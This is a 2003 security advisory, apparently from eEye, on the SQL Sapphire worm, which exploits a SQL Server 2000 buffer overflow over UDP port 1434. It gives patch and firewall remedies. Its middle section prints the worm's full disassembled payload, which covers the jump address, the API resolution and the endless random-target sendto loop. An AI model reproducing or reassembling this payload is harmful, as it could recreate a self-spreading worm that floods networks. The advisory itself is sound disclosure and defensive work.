==============================  

SQL Sapphire Worm Analysis

Release Date:
1/25/03

Severity:
High

Systems Affected:
Microsoft SQL Server 2000 pre SP 2

Description:
Late Friday, January 24, 2003 we became aware of a new SQL worm spreading
quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in Microsoft
SQL Server 2000. The SQL 2000 server flaw was  discovered in July, 2002 by
Next Generation Security Software Ltd. The buffer overflow exists because of
the way SQL  improperly handles data sent to its Microsoft SQL Monitor port.
Attackers leveraging this vulnerability will be executing  their code as
SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to infect
with its payload. The worm payload does not contain  any additional
malicious content (in the form of backdoors etc.); however, because of the
nature of the worm and the speed at  which it attempts to re-infect systems,
it can potentially create a denial-of-service attack against infected
networks.

We have been able to verify that multiple points of connectivity on the
Internet have been bogged down since 9pm Pacific  Standard Time.

It should be noted that this worm is not the same as an earlier SQL worm
that used the SA/nopassword SQL vulnerability as its  spread vector. This is
a new worm is more devastating as it is taking advantage of a
software-specific flaw rather than a  configuration error. We have already
had many reports of smaller networks brought down due to the flood of data
from the  Sapphire Worm trying to re-infect new systems.

Corrective Action
We recommend that people immediately firewall SQL service ports at all of
their gateways. The worm uses only UDP port 1434  (SQL Monitor Port) to
spread itself to a new system; however, it is safe practice to filter all
SQL traffic at all gateways.  The following is a list of SQL server ports:
ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp
#Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m
1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that has
had a patch available for many months. Microsoft  has also released a recent
service pack for SQL (Service Pack 3) that includes a fix for this
vulnerability.

Standalone patch:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

SQL 2000 Service Pack 3: http://www.microsoft.com/sql/downloads/2000/sp3.asp

Previous SQL Service Pack versions are vulnerable.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:
1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in
sqlsort.dll. It snags the necessary library base  addresses and function
entry points as needed. 2. Calls gettickcount, and uses returned count as a
pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo
random number generation formula using the returned gettickcount value to
generate an IP Address  that will later be used as the target. 5. Send worm
payload in a SQL Server Resolution Service request to the pseudo random
target address, on port 1434 (UDP). 6. Return back to formula and continue
generating new pseudo random addresses.


                push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the
overflow the payload buffer
                                        ; get's corrupted during program
execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for
getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry
in another DLL version.
                                        ; Undetermined what dll versions
this will succedd on. Due
                                        ; to the lack of reliable importing
this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress =
GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx
                xor     ebx, 0FFD9613Ch

PRND:
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm
Start

In Closing
We have provided brief information here as we are currently working to
understand more of the worm's internal behavior. We  will provide updates as
they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that
several engineers had to be pulled away from local  bars to begin the
investigation/dissection process.

Credit:
Riley Hassell

Related Links:
SQLSecurity.com
http://sqlsecurity.com/

Microsoft Security Bulletin:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms02-039.asp

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